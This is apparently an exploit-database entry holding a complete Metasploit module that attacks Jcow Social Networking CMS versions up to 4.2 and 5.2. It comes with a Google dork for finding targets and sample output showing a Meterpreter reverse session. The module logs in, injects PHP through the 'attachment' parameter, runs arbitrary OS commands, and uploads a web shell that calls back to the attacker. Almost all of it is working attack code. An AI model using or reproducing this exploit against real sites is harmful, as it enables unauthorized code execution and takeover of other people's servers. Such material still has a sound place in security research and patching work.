Jcow Social Networking Script 4.2 < 5.2 - Arbitrary Code Execution (Metasploit)
# Exploit Title: Jcow CMS 4.x:4.2 <= , 5.x:5.2 <= | Arbitrary Code Execution # Google Dork: "intext: Powered by Jcow" # Date: 2011-08-26 # Author: Aung Khant <http://yehg.net, YGN Ethical Hacker Group> # Software Link: http://sourceforge.net/projects/jcow/files/jcow4/jcow.4.2.1.zip/download # Version: 4.x:4.2 <= , 5.x: 5.2 <= # Tested on: FreeBSD # Advisory URL: http://yehg.net/lab/pr0js/advisories/[jcow_4.2,5.2]_arbitrary_code_execution #[*] Started reverse handler on 1.2.3.4:4444 #[*] Trying to login as hax0r #[*] Logged in successfully (cookie: bd665943297fe4bdc39ec704c21888ff) #[*] Trying to pwn a shell #[*] Uploading the payload: /files/h3x00rr.php #[*] Uploaded successfully #[*] Getting the shell #[*] Sending stage (38553 bytes) to 5.6.7.8 #[*] Meterpreter session 1 opened (1.2.3.4:4444 -> 5.6.7.8:34441) at Sat Jun 04 00:00:44 +0000 2011 # require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'JCow CMS Remote Command Execution', 'Description' => %q{ This module exploits a vulnerability in the JCow Social Networking CMS. In versions (4.x: 4.2 and lower, 5.x: 5.2 and lower), authenticated members can trigger php code execution via "attachment" parameter. }, 'Author' => [ 'Aung Khant <YGN Ethical Hacker Group, http://yehg.net/>' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 1 $', 'References' => [ [ 'URL', 'http://www.jcow.net/' ], [ 'URL', 'http://yehg.net/lab/pr0js/advisories/[jcow_4.2,5.2]_arbitrary_code_execution' ] ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'BadChars' => "\#", 'Space' => 4000, 'Compat' =>{'ConnectionType' => 'find'}, 'Keys' => ['php'] }, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Aug 26 2011', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "JCow directory path", "/"]), OptString.new('USERNAME', [ false, 'The username to authenticate as', 'hax0r' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username','pwn3d' ]), OptString.new('COOKIE', [ false, 'Authenticated Cookie in face of ReCaptCha' ]), OptString.new('PHP', [ false, 'Arbitrary PHP code to run' ]), OptString.new('CMD', [ false, 'Arbitrary OS Command to run if PHP\'s os cmd execution is not' ]), OptString.new('SHELL', [ false, 'Get PHP Reverse Shell back to your Box']) ], self.class) end def check uri = '' uri << datastore['URI'] uri << '/' if uri[-1,1] != '/' res = send_request_raw( { 'uri' => uri }, 25) if (res && res.body =~ /name="Generator" content="Jcow Social Networking Software. ?([0-9]\.[0-9])/) ver = $1 print_status("Target Jcow version is #{ver}") vers = ver.split('.').map { |v| v.to_i } if (vers[0] == 5) and (vers[1] < 3) return Exploit::CheckCode::Vulnerable elsif (vers[0] == 4) and (vers[1] < 3) return Exploit::CheckCode::Vulnerable elsif (vers[0] < 4) return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end end print_error("Unable to determine exploitability. Go Exploiting.") end def exploit uri_base = '' uri_base << datastore['URI'] uri_base << '/' if uri_base[-1,1] != '/' cookie = datastore['COOKIE'] if (cookie == nil) print_status("Trying to login as #{datastore['USERNAME']}") cookie = get_login_cookie(uri_base) if (not cookie) raise RuntimeError, 'Unable to login!' end print_status("Logged in successfully (cookie: #{cookie})") else print_status("Using authenticated cookie: #{cookie}") end if (datastore['PHP']) print_status("Executing PHP Code: #{datastore['PHP']}") run_code(uri_base,cookie,datastore['PHP']) end if (datastore['CMD']) print_status("Executing CMD: #{datastore['CMD']}") run_code(uri_base,cookie, datastore['CMD'],'os') end if (datastore['SHELL']) print_status("Trying to pwn a shell") get_reverse_shell(uri_base,cookie) end end def get_login_cookie(uri_base) cookie = nil res = send_request_cgi( { 'method' => 'POST', 'uri' => uri_base + '?p=member/loginpost', 'vars_post' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] } }) if (not res or res.code != 302) print_error("Failed to login") if (res.body =~ /<script type="text\/javascript" src="http:\/\/www.google.com\/recaptcha\/api\/challenge/) print_error("Recaptcha Enabled\r\nProvide Authenticated Cookie") end return nil end if (res.headers['Set-Cookie'] =~ /PHPSESSID=(.*);/) cookie = $1 else print_error("Unable to get authenticated cookie") return end cookie end def run_code(uri_base, cookie, code, mode='php') cmd = nil if mode != 'php' cmd = 'error_reporting(0);print+`' << Rex::Text.to_hex("#{code}",prefix = "%") << '`' else cmd = 'error_reporting(0);eval(' << code.unpack("C*").collect{|x| "chr(#{x})"}.join('.') << ')' end data = "page_id=0&page_type=u&message=hello&youtubeid=0&attachment=#{cmd};//" res = send_request_cgi( { 'method' => 'POST', 'uri' => uri_base + '?p=streampublish', 'data' => data , 'headers' => { 'Cookie' => "PHPSESSID=#{cookie}" }, }) if (res) if (res.body.to_s.length > 0) is_session_expired(res.body.to_s) print_status("#{mode.upcase} Command Output from the server:") print("\n" + res.body.to_s + "\n\n") else print_error("No data returned from the server") end else print_error("Connection Timeout from the server") end end def is_session_expired(pg) if (pg =~ /please login first/) raise RuntimeError, "Your Login has expired" end end def get_reverse_shell(uri_base,cookie) cmd_php = '<?php ' << payload.encoded << ' ?>' shell_file = 'files/' + rand_text_alphanumeric(6) << '.php' shell_url = uri_base + shell_file print_status("Uploading the payload: " << shell_url ) encoded_shell_file = shell_file.unpack("C*").collect{|x| "chr(#{x})"}.join('.') encoded_payload = payload.encoded cmd = "file_put_contents(#{encoded_shell_file}, $_SERVER['HTTP_X_CMD'])" data = "page_id=0&page_type=u&message=hello&youtubeid=0&attachment=#{cmd};//" res = send_request_cgi( { 'method' => 'POST', 'uri' => uri_base + '?p=streampublish', 'data' => data , 'headers' => { 'X-CMD' => cmd_php, 'Cookie' => "PHPSESSID=#{cookie}" }, }) if (res) if (res.code.to_i > 200) print_error("Fail to upload : #{res.code} #{res.body[0,500].inspect}...") return elsif (res.code == 200) is_session_expired(res.body.to_s) end end print_status("Uploaded successfully") print_status("Getting the shell") res = send_request_raw( { 'global' => true, 'uri' => uri_base + shell_file }) handler end end |